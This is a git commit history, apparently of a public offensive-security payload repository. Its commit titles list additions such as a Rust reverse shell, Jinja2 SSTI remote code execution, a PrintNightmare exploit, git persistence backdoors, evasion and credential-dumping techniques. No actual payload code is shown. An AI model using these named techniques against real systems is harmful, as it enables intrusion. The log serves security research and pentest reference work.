Swissky
c030379871 Merge pull request #670 from superboy-zjc/master
Update Lodash SSTI
2023-09-03 17:30:52 +02:00
Swissky
a0c14e5299 SQL injections - WAF bypass 2023-09-03 14:26:03 +02:00
2h0ng
34da0e2708 Update Lodash SSTI
Update Lodash SSTI
2023-09-02 21:24:59 -04:00
Swissky
7752ff806f ASPNET Cookieless Bypass 2023-09-02 23:01:10 +02:00
Swissky
e879ca42a3 Merge pull request #668 from sethsec-bf/patch-1
Added CloudFox and CloudFoxable
2023-08-31 10:37:38 +02:00
Seth Art
339a51cd0d Added CloudFox and CloudFoxable 2023-08-30 14:11:11 -04:00
Swissky
53ec79abd0 Initial Access Cheatsheet 2023-08-26 22:01:45 +02:00
Swissky
930044d7c1 Merge pull request #666 from dwisiswant0/feat/ssrf-add-tool
feat(SSRF): add tool
2023-08-26 12:50:56 +02:00
Swissky
9db39952e7 Merge pull request #667 from PakCyberbot/master-1
Update SQLite Injection.md
2023-08-26 12:50:06 +02:00
Pak Cyberbot
d5922f421c Update SQLite Injection.md
Column names of the specified table can be more easily extracted in a better output.
Tested during the CTF
2023-08-25 15:24:52 +05:00
Dwi Siswanto
63379b9291 feat(SSRF): add tool 2023-08-25 16:34:45 +07:00
Swissky
b0dfcfd438 Hidden Parameters 2023-08-24 22:15:11 +02:00
Swissky
e2e2da74ce Merge pull request #664 from ScriptSathi/master
feat: Add Rust reverse shell for unix
2023-08-22 18:04:31 +02:00
Tristan D'audibert
aea130a1ac Add Rust reverse shell for unix 2023-08-21 17:50:11 +02:00
cfgs
538a7b024b feat: add cognito-scanner tool for AWS pentest 2023-08-08 10:41:54 +02:00
Vunnm
273da9e1b5 Add JSON simple with form
Add JSON simple paylaod with autosubmit form. Using autosubmit form instead of AJax, allow to bypass some protection like the Standard Enhanced Tracking Protection in Firfefox, which will refuse to send cookie with  cross-site  Ajax request (tested with Firefox 115.0.2esr),.
2023-08-05 14:39:33 +02:00
Swissky
d642e97d8d Merge pull request #661 from emmanuel-ferdman/wip
fix: broken link on AWS Amazon Bucket S3 page
2023-07-26 14:20:27 +02:00
Emmanuel Ferdman
20b8870123 fix: broken link on AWS Amazon Bucket S3 page
Signed-off-by: Emmanuel Ferdman <emmanuelferdman@gmail.com>
2023-07-26 15:09:56 +03:00
Swissky
e366ef9a13 Merge pull request #660 from yanncam/master
Added precision on the format, generation and breaking of NetNTLMv1
2023-07-25 15:28:12 +02:00
Yann CAM (ycam)
e80702d599 More details on NetNTLMv1 + typos
More details on NetNTLMv1 + typos
2023-07-25 11:31:35 +02:00
Yann CAM (ycam)
4336cb1fd5 Update NetNTLMv1 breaking methodology
Add SHuck.Sh/ShuckNT process and details.
2023-07-25 11:11:36 +02:00
Swissky
b715364547 Fix typo 2023-07-18 22:19:29 +02:00
Swissky
52ef85a830 WebSocket Tools 2023-07-18 22:17:51 +02:00
Swissky
fbc43be79f Merge pull requests 2023-07-18 18:24:14 +02:00
Swissky
87e6f55e16 Error Based XXE - Local DTD 2023-07-18 18:23:34 +02:00
Swissky
359b9b435e Merge pull request #659 from preemptible/patch-1
Update BOOKS.md
2023-07-18 10:21:23 +02:00
Swissky
3de6c41823 Merge pull request #658 from NaxnN/patch-2
Update SQLite Injection.md
2023-07-18 10:20:20 +02:00
preemptible
6d12abb4ec Update BOOKS.md
I added 'black hat Rust', a great book in my humble opinion.
2023-07-18 11:16:36 +03:00
KeoOp
d5f85f13d5 Update SQLite Injection.md
add "group_concat" so that all tables can be extracted once when the query only returns the first item
2023-07-16 23:44:00 +08:00
Swissky
cd19bb9409 Business Logic Errors + Mass Assignment 2023-07-09 13:01:03 +02:00
Swissky
b68ce28c4b Open Redirect + SSI Injection 2023-07-08 10:09:59 +02:00
Swissky
86e246dd03 Prototype Pollution 2023-07-07 23:10:33 +02:00
Swissky
0a75beeccd Merge pull request #652 from clem9669/master
Update README.md for Latex injection
2023-06-29 12:27:22 +02:00
clem9669
fa3cf25c55 Update README.md 2023-06-29 10:19:14 +00:00
Swissky
f723ef4878 Merge pull request #651 from JLLeitschuh/patch-3
Add new AWS IPv6 SSRF Endpoint
2023-06-29 10:59:10 +02:00
Swissky
9711417161 Update README.md 2023-06-29 10:59:02 +02:00
Swissky
a8161ef48c Merge pull request #650 from Xhoenix/master
update ssrf payloads
2023-06-29 10:41:31 +02:00
Jonathan Leitschuh
bb3f865e10 Add new AWS IPv6 SSRF Endpoint
Documentation: https://docs.aws.amazon.com/AWSEC2/latest/WindowsGuide/instancedata-data-retrieval.html
2023-06-28 18:51:53 -04:00
Jitendra Patro
384f54af54 Merge branch 'swisskyrepo:master' into master 2023-06-28 15:51:00 +05:30
Jitendra Patro
391b18cf20 update bypass localhost with [::] payloads 2023-06-28 15:50:43 +05:30
Swissky
70396ec71d Merge pull request #649 from MotiHarmats/patch-1
Add CI/CD payloads
2023-06-28 10:26:10 +02:00
Swissky
ec11a14e4e Merge pull request #648 from mpgn/master
Use new offical CME repository
2023-06-28 10:18:55 +02:00
MotiHarmats
de8d4796af Add CI/CD payloads 2023-06-28 11:15:58 +03:00
mpgn
35b0d672f0 Use new offical CME repository 2023-06-28 10:12:15 +02:00
Swissky
113afae290 AWS EC2 Metadata + SSSD token deobfuscate 2023-06-27 15:45:29 +02:00
Swissky
5ddd8e04da MSSQL - Stacked Queries Delimiters 2023-06-25 00:02:54 +02:00
Swissky
e9c1ce1c09 AWS Key Patterns 2023-06-22 19:03:06 +02:00
Swissky
fc36b38430 DOM Clobbering 2023-06-10 20:08:23 +02:00
Swissky
726de9e9b2 Merge pull request #645 from azurit/ssrflocalhost
SSRF: bypass using IPv6/IPv4 Address Embedding
2023-06-09 10:48:54 +02:00
Swissky
10df57a531 Type Juggling 2023-06-09 10:46:54 +02:00
Swissky
de6e91657d Type Juggling - Loose Comparison and Exploit 2023-06-09 10:45:45 +02:00
Swissky
f0d02d2414 Merge pull request #647 from noraj/patch-1
xxe - go secure workshop
2023-06-08 11:09:10 +02:00
Swissky
aba6f1e731 Merge branch 'master' of https://github.com/swisskyrepo/PayloadsAllTheThings 2023-06-08 11:07:39 +02:00
Swissky
93fa4df7cd Prompt Injection 2023-06-08 11:06:37 +02:00
Alexandre ZANNI
3e8a39a87d xxe - go secure workshop 2023-06-08 10:14:35 +02:00
Swissky
e17b6e1ac4 Merge pull request #646 from NaxnN/patch-1
Update SSTI README.md
2023-06-07 09:46:59 +02:00
KeoOp
598d2ca3fa Update README.md 2023-06-07 14:15:07 +08:00
Swissky
b8c803717a WDAC Policy Removal + SSRF domains 2023-05-31 14:18:25 +02:00
azurit
226569b753 Update README.md 2023-05-21 14:54:42 +02:00
Swissky
f85f2cb4c6 Merge pull request #644 from rdbo/patch-1
Fixed typos on README.md
2023-05-18 13:32:58 +02:00
Rdbo
83b2d80a56 fixed typos 2023-05-18 01:58:36 +00:00
Swissky
0a07e07d00 Merge branch 'master' of https://github.com/swisskyrepo/PayloadsAllTheThings 2023-05-15 19:23:58 +02:00
Swissky
6adfe5d865 GraphQL Batching Attacks 2023-05-15 19:23:07 +02:00
Swissky
af4ade2a44 Merge pull request #643 from p0dalirius/patch-2
SSTI / jinja2 : Removed dot in lipsum.__globals__.["os"]
2023-05-09 20:16:05 +02:00
Rémi GASCOU (Podalirius)
b3f98adf0c SSTI / jinja2 : Removed dot in lipsum.__globals__.["os"] 2023-05-09 20:15:02 +02:00
Swissky
8d2c30e969 Merge pull request #642 from p0dalirius/patch-1
Adding Jinja2 RCE through lipsum in Templates
2023-05-09 18:58:57 +02:00
Rémi GASCOU (Podalirius)
9c2b040242 Adding Jinja2 RCE through lipsum in Templates 2023-05-09 18:34:35 +02:00
Swissky
5af6a23a2e DPAPI LocalMachine + BitLocker 2023-05-08 17:08:25 +02:00
Swissky
0dd92aa89d Merge pull request #640 from m3dsec/patch-2
Add Kerberos CVE-2022-33679 (RC4 Is Still Considered Harmful)
2023-05-08 16:22:30 +02:00
m3dsec
8156f495fb Add Kerberos CVE-2022-33679 (RC4 Is Still Considered Harmful) 2023-04-30 21:45:33 +01:00
Swissky
55df53105e Merge pull request #639 from TomWilford/master
Added Twig 'passthru' filter exploits
2023-04-28 16:24:20 +02:00
Tom Wilford
c1dc141e13 Added 'passthru' filter exploits 2023-04-28 14:47:59 +01:00
Swissky
1e66a42bba Merge pull request #638 from ZkClown/master
Add some stuff on Office exec, Network Recon and Active Directory methodo
2023-04-20 21:31:23 +02:00
ZkClown
0f4d747913 Add injection into AD through ldap signing not required and ldap channel binding disabled 2023-04-20 15:38:26 +02:00
ZkClown
8b543c80aa Add network scan with pure bash 2023-04-20 15:21:48 +02:00
ZkClown
2a4ce78080 Add Office execute WinAPI via VBA 2023-04-20 15:00:33 +02:00
Swissky
b0445a7250 Merge pull request #637 from ZkClown/master
Add Powerhsell Reflection through Delegate Type and Basic HTML Smuggling
2023-04-19 21:51:04 +02:00
ZkClown
47df1695a1 Add Powerhsell Reflection through Delegate Type and Basic HTML Smuggling 2023-04-19 17:59:10 +02:00
Swissky
e717839fda Merge pull request #635 from MatteoPaier/fix-param-pollution-golang
Fixed Golang net/http param pollution outcome
2023-04-14 17:48:01 +02:00
Swissky
6861c46fcd MySQL MSSQL Oracle SQL Update 2023-04-14 17:45:45 +02:00
Matteo Paier
c3f5da6014 Fixed Golang net/http param pollution outcome 2023-04-14 14:41:35 +02:00
Swissky
25d2be529f BadSecrets Tool 2023-04-12 13:12:33 +02:00
Swissky
ff6c22b86e Merge pull request #634 from mpgn/master
Fix path with sessionS with an S for php
2023-04-12 11:27:26 +02:00
mpgn
3c7c863233 Fix path with sessionS with an S for php 2023-04-11 17:08:57 +02:00
Swissky
14c6c9642d Merge pull request #633 from harunoz/patch-1
Update README.md
2023-04-09 18:41:00 +02:00
Harun
87e78b4c4b Update README.md
Added Node.js
2023-04-09 12:35:43 -04:00
Swissky
86cc53244d LOL Drivers 2023-04-07 09:22:07 +02:00
Swissky
30d17b4924 Fix markdown typo ESC1-9 2023-04-05 12:47:47 +02:00
Swissky
0a70636d28 ETW Providers 2023-04-03 10:48:53 +02:00
Swissky
d040c0e677 Web Cache Deception Methodology 2023-03-28 21:53:53 +02:00
Swissky
fddd094ee1 LFI iconv and dechunk + ETW + NTDS Dump Rework 2023-03-27 22:38:25 +02:00
Swissky
dd0c23f9a2 ImageMagick Typo 2023-03-19 22:46:56 +01:00
Swissky
723b3213b2 Windows Information Protection 2023-03-18 19:55:43 +01:00
Swissky
579207aa8f JWT jku and jwks - manual exploitation 2023-03-12 18:02:29 +01:00
Swissky
d5729888c3 S4U Extension 2023-03-11 17:53:16 +01:00
Swissky
b88457367b Active Directory Integrated DNS 2023-03-11 11:52:52 +01:00
Swissky
5e8737485b Fix responsive - rollback - FF was glitching 2023-03-11 00:11:27 +01:00
Swissky
648f4ad2ca Fix responsive icons 2023-03-10 23:45:27 +01:00
Swissky
084efe8a6b Fix responsive display on PATT Web 2023-03-10 23:20:39 +01:00
Swissky
f379b60ef1 Web Theme + Credential Guard + PPL 2023-03-10 22:14:22 +01:00
Mat
5817de1fb2 Add documentation for PDF JS PoC 2023-03-07 17:10:23 +01:00
Swissky
e43f1527c0 JWT rework 0.2: jwks + kid + cve 2023-03-07 11:39:39 +01:00
Swissky
2a3d175620 GraphQL and JWT rework v0.1 2023-03-05 12:05:43 +01:00
Swissky
776b2bd934 Merge pull request #629 from maxence-Doyensec/file-upload-uwsgi
add uwsgi configuration file to Upload Insecure File
2023-03-01 15:13:07 +01:00
Maxence Schmitt
5f8b3f8a14 add uwsgi configuration file to Upload Insecure File 2023-03-01 14:49:31 +01:00
Swissky
7ef9babc9f Merge pull request #627 from noraj/patch-1
add "GraphQL for Pentesters" ref
2023-02-26 14:14:56 +01:00
Alexandre ZANNI
9bdfa7f8c7 add "GraphQL for Pentesters" ref 2023-02-25 23:09:47 +01:00
Swissky
ecc241d17e Merge pull request #626 from mschader/patch-10
Web Sockets: Update README.md
2023-02-24 18:08:28 +01:00
Markus
d57dcabf46 Web Sockets: Update README.md
Update outdated link to blog post and add Hacktricks as reference
2023-02-24 10:37:52 +01:00
Swissky
c9d0878817 Kerberos Tickets Dump, Convert, Replay 2023-02-21 23:21:22 +01:00
Swissky
2a65b59c01 RODC + PAM Trusts 2023-02-20 18:44:44 +01:00
Swissky
a38701a7e2 MOTD + SpEL injection 2023-02-20 17:21:43 +01:00
Swissky
d3ccbb5370 Merge pull request #610 from somebodyoncetoldme207/patch-1
Typo corrections in PostgreSQL Injection.md
2023-02-18 22:23:52 +01:00
Swissky
cedf4aa9f6 Office Default Passwords + SMBExec 2023-02-17 12:01:52 +01:00
Swissky
8442b304c9 SMBExec + Refresh & Access Token Azure 2023-02-15 17:03:49 +01:00
Swissky
411f2455a9 Merge branch 'master' of https://github.com/swisskyrepo/PayloadsAllTheThings 2023-02-15 12:34:26 +01:00
Swissky
ae46ac0338 WMIExec + SharpSCCM 2023-02-15 12:33:20 +01:00
Swissky
73996ea52a Merge pull request #624 from Techbrunch/patch-13
Update sponsor link
2023-02-14 15:15:04 +01:00
Swissky
36e135776f AD Groups + PowerShell Defenses 2023-02-14 15:13:41 +01:00
Techbrunch
da42d27a3c Update sponsor link
Thanks for the link ❤️
2023-02-14 14:26:49 +01:00
Swissky
f1a85f22b9 Windows Defenses 2023-02-12 18:17:09 +01:00
Swissky
5cd5de6803 Workflow cleanup 2023-02-11 20:32:36 +01:00
Swissky
9a511046ae GPO update timing 2023-02-11 20:29:32 +01:00
Swissky
c08949fdc2 Github Pages Trigger 2023-02-11 20:22:28 +01:00
Swissky
2089c5efb1 Github Pages 2023-02-11 20:11:33 +01:00
Swissky
14cc88371d WSL + RDP Passwords + MSPaint Escape 2023-02-11 17:49:55 +01:00
Swissky
ccae5a6e09 Credentials Rework 2023-02-11 12:07:25 +01:00
Swissky
8c88590d7c Merge pull request #621 from SSKale1/master
Add AWSGoat and Azure Training, AzureGoat
2023-02-01 09:54:34 +01:00
Shantanu Kale
b03250a4f6 Add Training, AzureGoat 2023-02-01 09:48:26 +05:30
Shantanu Kale
ce40e39dcc Add AWSGoat 2023-02-01 09:46:13 +05:30
Swissky
4451d4919a Merge pull request #620 from noraj/patch-1
SSTI: add some jinja2 examples
2023-01-28 16:31:51 +01:00
Alexandre ZANNI
89782643c9 SSTI: add some jinja2 examples 2023-01-28 15:29:54 +01:00
Swissky
d0067e13d5 Merge pull request #619 from CravateRouge/patch-2
Add PrintNightmare exploit using WebDAV
2023-01-24 09:53:54 +01:00
CravateRouge
a8bef1873a Add PrintNightmare exploit using WebDAV 2023-01-23 17:06:05 +01:00
Swissky
b75913ca8f Merge pull request #616 from noraj/patch-1
add XXE in Java
2023-01-19 17:14:19 +01:00
Swissky
d23794be0f Merge pull request #617 from CravateRouge/patch-1
Add SSL MITM using OpenSSL
2023-01-19 17:13:44 +01:00
CravateRouge
230f8c3688 Add SSL MITM using OpenSSL 2023-01-19 16:33:11 +01:00
Alexandre ZANNI
563a1b2a1d add XXE in Java 2023-01-19 10:23:56 +01:00
Swissky
99ff1f94b3 Merge pull request #615 from noraj/patch-url
[chore] fix rawsec url
2023-01-12 09:57:27 +01:00
Alexandre ZANNI
442d253936 fix rawsec url 2023-01-11 23:19:26 +01:00
Swissky
1a9bfdd86f Merge pull request #614 from Darktortue/patch-zerologon
Added zerologon authentication relay technique
2023-01-10 21:11:43 +01:00
Darktortue
8caba394d5 Added zerologon authentication relay technique 2023-01-10 11:23:45 +01:00
Swissky
b27ba26af9 Merge pull request #609 from m3dsec/patch-1
Update bloodyAD.py when enabling DONT_REQ_PREAUTH for ASREPRoast attack.
2023-01-10 11:06:07 +01:00
Swissky
8e0ce56e5d Merge pull request #613 from JeremyLARDENOIS/fix-docker-metasploit-install
fix: remove docker metasploit installation
2023-01-10 11:05:09 +01:00
Jérémy LARDENOIS
3a97ad3f41 fix: remove docker metasploit installation 2023-01-10 08:51:28 +01:00
Swissky
d4742a9688 SOCKS Compatibility Table + CORS 2023-01-05 01:50:11 +01:00
Swissky
095024f960 Merge pull request #611 from DotDotSlashRepo/master
Updated Account takeover due to unicode normalization issue
2023-01-04 17:21:55 +01:00
DotDotSlash
418ff228d0 Formatting changes
Formatting changes to Account takeover due to unicode normalization issue
2023-01-04 21:06:36 +05:30
DotDotSlash
b7df4cb6e8 Updated unicode normalization issue
Added helpful tools to 'Account takeover due to unicode normalization issue'
2023-01-04 21:03:20 +05:30
somebodyoncetoldme
aa8950a273 Update PostgreSQL Injection.md
Switch "column_name" to "table_name".
2023-01-03 21:02:57 -08:00
m3dsec
834c6bca20 Update bloodyAD.py when enabling DONT_REQ_PREAUTH for ASREPRoast attack. 2023-01-01 14:24:57 +01:00
Swissky
5190829ab4 RustHound Examples 2022-12-30 11:01:31 +01:00
Swissky
ec7c363aba Merge pull request #592 from oddrabbit/patch-1
Added in Spring Framework SSTI Detection & Exploitation
2022-12-28 10:55:13 +01:00
Swissky
996c83bb4b Update README.md 2022-12-28 10:54:48 +01:00
Swissky
4888188ce4 Merge pull request #608 from Aur0ra-m/master
Update README.md
2022-12-27 18:26:52 +01:00
Swissky
f318f8bcc0 Update README.md 2022-12-27 18:26:13 +01:00
Aur0ra
29c23ac7fd Update README.md 2022-12-27 18:30:20 +08:00
Swissky
514ac98dac SSRF + XSS details + XXE BOM 2022-12-13 22:29:20 +01:00
Swissky
a1c5926f31 Merge pull request #606 from hackprogrammatic/patch-1
Update Cloud - AWS Pentest.md
2022-12-08 08:46:05 +01:00
hackprogrammatic
749420fdd2 Update Cloud - AWS Pentest.md
spelling errors, update allows users to easily copy/paste
2022-12-07 22:47:41 -06:00
Swissky
6709d543f4 Merge pull request #605 from Techbrunch/patch-12
Add  GraphQL Threat Matrix
2022-12-06 16:49:42 +01:00
Techbrunch
2f923463a2 Add GraphQL Threat Matrix 2022-12-06 14:24:46 +01:00
Swissky
d67ec2469c SCCM Shares 2022-12-04 11:38:19 +01:00
Swissky
183876f660 Merge pull request #603 from romisfrag/patch-1
Update PHP.md
2022-11-26 17:01:40 +01:00
romisfrag
f8ab0ca3bb Update PHP.md
Fixed the payload (was not working because guess is size 5 instead of 4. 
Changed the name of Object to ObjectExample because Object class name is reserved
2022-11-26 14:28:06 +01:00
Swissky
cbb2137f3b ESC11 - Relay NTLM to ICPR 2022-11-21 10:48:27 +01:00
Swissky
2ed3c03e78 Kubernetes Pentest 2022-11-18 13:00:11 +01:00
Swissky
5966c3a21b NTDS Reversible Encryption 2022-11-11 14:52:56 +01:00
Swissky
4ca065f8ed Merge pull request #602 from Kawsay/master
Add RubyOnRails HTTP Parameter Pollution
2022-11-08 19:33:10 +01:00
Clément COQUILLE
6f265dedd6 Add RubyOnRails HTTP Parameter Pollution 2022-11-08 19:06:51 +01:00
Swissky
b7f6f72d09 Merge pull request #600 from CravateRouge/patch-6
Add application endpoint enumeration
2022-11-07 12:28:04 +01:00
CravateRouge
95e989f5a1 Add application endpoint enumeration 2022-11-07 11:47:47 +01:00
Swissky
e5ea12a3ca Active Directory Federation Services 2022-11-07 10:10:33 +01:00
Swissky
3e9ef2efbe ADFS Golden SAML 2022-11-07 10:10:21 +01:00
Swissky
0212830fb4 Merge pull request #599 from CravateRouge/patch-5
Fix broken link not compatible with MkDocs
2022-11-06 12:34:56 +01:00
Swissky
eea32c0d15 Merge pull request #597 from xplo1t-sec/master
command injection with backslash newline
2022-11-06 12:28:38 +01:00
Swissky
47254d0244 Update README.md 2022-11-06 12:28:26 +01:00
Swissky
2d67b675aa Merge pull request #598 from CravateRouge/patch-4
findstr ignore error and print results in file
2022-11-06 12:19:22 +01:00
CravateRouge
c14392731c Fix broken link not compatible with MkDocs 2022-11-06 12:12:36 +01:00
CravateRouge
e5a18a72c2 findstr ignore error and print results in file 2022-11-06 11:58:00 +01:00
xplo1t-sec
c1d1c9fcbc command injection with backslash newline 2022-11-06 14:22:30 +05:30
Swissky
c17ae602fc Merge pull request #596 from CravateRouge/patch-2
Add AzureHound examples
2022-11-04 16:42:49 +01:00
Swissky
030ba1f196 Merge pull request #595 from CravateRouge/patch-3
Redirect duplicate
2022-11-04 15:15:55 +01:00
CravateRouge
18c656f756 Add AzureHound examples 2022-11-04 15:09:39 +01:00
CravateRouge
598751f7c6 Redirect duplicate 2022-11-04 14:43:20 +01:00
Swissky
2d3f02a795 Merge pull request #594 from CravateRouge/patch-2
Add Snaffpoint usage example
2022-11-04 14:38:17 +01:00
CravateRouge
a287736a3a Add Snaffpoint usage example 2022-11-04 14:15:08 +01:00
Swissky
d46b436d6c PHP Deserialization - Fix Broken Link 2022-11-04 09:44:37 +01:00
Swissky
e556e9ad40 Merge pull request #589 from jaxBCD/patch-2
Update Subdomain enumeration
2022-11-03 21:34:48 +01:00
Swissky
3dd7f46717 Update Subdomains Enumeration.md 2022-11-03 21:34:34 +01:00
Swissky
2227472e1c .NET formatters and POP gadgets 2022-11-03 21:31:50 +01:00
Swissky
0af790ad5b Merge pull request #593 from llamasoft/patch-2
Add git persistence techniques
2022-10-30 10:14:49 +01:00
Marcus T
11fbceca31 Add git persistence techniques
Adds information about backdooring git configs and git hooks.
2022-10-29 19:37:32 -07:00
OddRabbit
b672771a1b Update README.md 2022-10-28 00:07:26 +11:00
Swissky
0381fd34f9 Merge pull request #591 from fabianchoxD/review-and-update-documentation
Review and update documentation
2022-10-27 10:18:49 +02:00
Fabian S. Varon Valencia
6394757dc3 added a new reference to code injection 2022-10-26 20:38:01 -05:00
Fabian S. Varon Valencia
8136e462c2 remove old link, I can't find a replacement url 2022-10-26 20:36:52 -05:00
Fabian S. Varon Valencia
3822c27634 update old url's 2022-10-26 20:36:15 -05:00
Swissky
a7d774cd15 Merge pull request #590 from llamasoft/patch-1
Add timestomping to Linux evasion techniques
2022-10-26 22:51:06 +02:00
Marcus T
501975a330 Add timestomping to Linux evasion techniques 2022-10-26 15:40:03 -04:00
jaxBCD
d999f798d7 Update Subdomain enumeration 2022-10-25 15:44:37 +07:00
Swissky
5754ed82ee Merge pull request #588 from fabianchoxD/update-old-links
Update old links
2022-10-25 09:32:14 +02:00
Fabian S. Varon Valencia
916c1079c6 typo 2022-10-24 12:30:33 -05:00
Fabian S. Varon Valencia
7ada8ef9ea add new resource to documentation - JSON web Token 2022-10-24 12:30:22 -05:00
Fabian S. Varon Valencia
3adbd70b01 remove not found links 2022-10-24 12:29:59 -05:00
Fabian S. Varon Valencia
b00ba7f38d replace currento 404 link with 200 time Machine web snapshot 2022-10-24 12:29:32 -05:00
Fabian S. Varon Valencia
9128b183d3 update link URL 2022-10-24 12:28:31 -05:00
Swissky
fe41254fde XXS Public Example + PHP Filter RCE 2022-10-24 12:05:39 +02:00
Swissky
35ff178624 Merge pull request #587 from abhishekchak52/typo-grammar-fix
Typo and grammar fix
2022-10-23 11:20:30 +02:00
Swissky
1e01f83c74 Merge pull request #586 from nzdjb/nzdjb-patch-3
feat: Explain ec2:AssociateIamInstanceProfile
2022-10-23 11:19:35 +02:00
Abhishek Chakraborty
37da322136 Typo and grammar fix 2022-10-22 17:47:10 -07:00
nzdjb
c5146f5dc8 feat: Explain ec2:AssociateIamInstanceProfile
Add explanation for ec2:AssociateIamInstanceProfile.
Also, fix a typo.
2022-10-23 09:24:08 +13:00
Swissky
a43897a473 Merge pull request #585 from 7RU7H/patch-1
Update Windows -Privilege Escalation - Typo Fix
2022-10-22 16:04:23 +02:00
7RU7H
22fe4d16e2 Update Windows -Privilege Escalation - Typo Fix
# Line 304 - Typo: `...\CurentControlSet\..` -> `...\CurrentControlSet\..`
2022-10-22 14:27:01 +01:00
Swissky
9f37576173 Merge pull request #583 from nzdjb/nzdjb-patch-2
feat: Backgrounding long running commands
2022-10-22 10:29:30 +02:00
Swissky
a33e4006f8 Merge pull request #582 from nzdjb/nzdjb-patch-1
feat: Command injection with newlines
2022-10-22 10:20:42 +02:00
nzdjb
5ca6c9a22b feat: Add entry to page contents. 2022-10-22 20:05:57 +13:00
nzdjb
def7c40830 feat: Backgrounding long running commands 2022-10-22 19:52:36 +13:00
nzdjb
1dc5054c4d feat: Command injection with newlines 2022-10-22 16:46:29 +13:00
Swissky
8df30de938 Remove deadlink 2022-10-21 12:16:32 +02:00
Swissky
1b037a9c64 Merge pull request #581 from Oggy107/master
Fix: Broken Link
2022-10-18 19:22:55 +02:00
Urmalveer Singh
4e5521deae Fix: Broken Link
Changed name in summary links: Django Template > Django Templates
Fixed corresponding link: #django-template > #django-templates
2022-10-18 14:38:10 +05:30
Swissky
2fc3eed8a5 Insecure Randomness 2022-10-17 11:07:33 +02:00
Swissky
8df0f565f3 Sapphire and Diamond Tickets 2022-10-16 20:46:05 +02:00
Swissky
b7043cfedd Bug Hunting Methodology Update 2022-10-16 00:27:47 +02:00
Swissky
3a815e6201 Merge pull request #578 from ShahneRodgers/http-request-smuggling
Adds more details to the HTTP request smuggling topic
2022-10-15 12:31:05 +02:00
Swissky
7bbbbd1d83 Merge pull request #577 from llamasoft/linux-evasion
Add Linux evasion to its own article
2022-10-15 12:28:05 +02:00
llamasoft
78ff651643 Add Linux evasion to its own article
Linux evasion techniques were previously included as part of persistence,
but the number of techniques are varied enough where it likely should
be its own article.
2022-10-14 17:30:25 -04:00
Swissky
a794c57994 Merge pull request #575 from CoryCline/patch-1
Added document.cookie blacklist bypass
2022-10-14 09:57:41 +02:00
Cory Cline
a8d8434756 Shortened payload
Make payload shorter.
2022-10-13 19:48:20 -05:00
Cory Cline
fbed4254e5 Fixed an oops
Somehow I deleted line 120 in a prior commit. Fixed.
2022-10-13 18:52:07 -05:00
Cory Cline
9ee8f092cd Changed link for document.cookie blacklist
Link was not working due to use of period in title.
2022-10-13 18:46:52 -05:00
Cory Cline
9a42be1113 Replaced console.log with alert
It's more common to want alert screenshots vs console screenshots.
2022-10-13 18:45:55 -05:00
Cory Cline
f23f28c4e2 Shortened payload
Shortened the document.cookie blacklist bypass payload.
2022-10-13 18:43:54 -05:00
Cory Cline
5d561ea7d6 Added document.cookie blacklist bypass
Added an alternative to document.cookie for situations when this text is blacklisted.
2022-10-13 18:23:36 -05:00
Swissky
6479c3a400 Merge pull request #574 from sebch-/patch-5
Update Active Directory Attack.md
2022-10-12 21:43:44 +02:00
Swissky
34128314d3 Merge pull request #573 from sebch-/patch-4
Update README.md
2022-10-12 21:43:16 +02:00
Swissky
31363e016b Merge pull request #572 from sebch-/patch-3
Update Active Directory Attack.md
2022-10-12 21:42:34 +02:00
Seb
b809e104e6 Update Active Directory Attack.md 2022-10-12 21:24:47 +02:00
Seb
26cc3629ce Update README.md 2022-10-12 20:35:32 +02:00
Seb
f18d4991ff Update Active Directory Attack.md 2022-10-12 19:47:40 +02:00
Swissky
aca668fcdd Merge pull request #571 from sebch-/patch-2
Update Hash Cracking.md
2022-10-12 19:30:22 +02:00
Seb
5480c40098 Update Hash Cracking.md 2022-10-12 19:29:15 +02:00
Seb
ad5bbd49f1 Update Hash Cracking.md 2022-10-12 18:06:22 +02:00
Swissky
f7a74feaf7 Azure Tools Update 2022-10-12 18:03:49 +02:00
Swissky
6dd5c18b45 Normalize Titles 2022-10-12 12:13:55 +02:00
Swissky
d88e32aaae .NET Deserialization 2022-10-11 21:52:46 +02:00
Swissky
3392980207 Merge pull request #570 from gdraperi/patch-1
Update README.md
2022-10-11 18:49:41 +02:00
Swissky
4a1ba26326 Update README.md 2022-10-11 18:49:17 +02:00
gdraperi
5e3d1d80c8 Update README.md
Adding the WGET command and fixing errors in the summary part.
2022-10-11 17:29:53 +02:00
Swissky
b08600d56d Merge pull request #526 from nerrorsec/patch-4
Boolean - Extract info (order by)
2022-10-11 11:26:40 +02:00
Swissky
3f3736471e Merge branch 'master' into patch-4 2022-10-11 11:26:28 +02:00
Swissky
77dc5e3ff1 Merge pull request #566 from pop3ret/master
Merge AWSome Pentesting into Cloud - AWS Pentest
2022-10-11 11:24:21 +02:00
Swissky
ecca4ec5e4 Merge pull request #569 from fabianchoxD/update-.README-file
Update .readme file
2022-10-10 15:06:19 +02:00
pop3ret
0530c19c88 Update Cloud - AWS Pentest.md 2022-10-09 16:03:33 -03:00
pop3ret
4b4a630085 Changed summary and chapters
Changed summary to include the cheatsheet and also changed the format of the cheatsheet to be the same as the original file
2022-10-09 16:01:14 -03:00
Fabian S. Varon Valencia
c82ec3a902 update URL 0dayallday is not working, same article found in blackmarble.sh 2022-10-08 23:32:31 -05:00
Fabian S. Varon Valencia
a07468af9b use web archive to retrieve a readable version of this website - currently unavailable 2022-10-08 23:31:43 -05:00
Fabian S. Varon Valencia
5cdc02282c update 10 password reset flaws URL 2022-10-08 23:30:31 -05:00
Fabian S. Varon Valencia
d214af633c remove post exploitation koadic link (not found) 2022-10-08 22:53:55 -05:00
Fabian S. Varon Valencia
ea86f20472 Add AMSI Bypass and DPAPI links 2022-10-08 22:53:35 -05:00
pop3ret
cabc51e43b Merge branch 'swisskyrepo:master' into master 2022-10-07 07:56:54 -03:00
Swissky
522b55eec5 Update Cloud - AWS Pentest.md 2022-10-07 10:50:59 +02:00
Swissky
c06dfbec95 Merge pull request #560 from clem9669/master
Update XSS_Polyglots.txt
2022-10-07 00:14:29 +02:00
pop3ret
00189411d4 Merge AWSome Pentesting into Cloud - AWS Pentest
Merge the notes with the existing one
2022-10-06 13:43:09 -03:00
Swissky
347381d6dc Merge pull request #565 from gdraperi/master
Argument Injection technique
2022-10-06 17:55:58 +02:00
Swissky
ba9eb30940 Fix links 2022-10-06 17:55:16 +02:00
gregory draperi
69c6ee87c6 Argument Injection technique 2022-10-06 16:56:44 +02:00
Swissky
655cec1f1a Merge pull request #562 from nayeems3c/master
Added 2FA bypass via Force Browsing on Account Takeover branch
2022-10-05 18:46:52 +02:00
Swissky
2c10b28976 Merge pull request #561 from gdraperi/patch-2
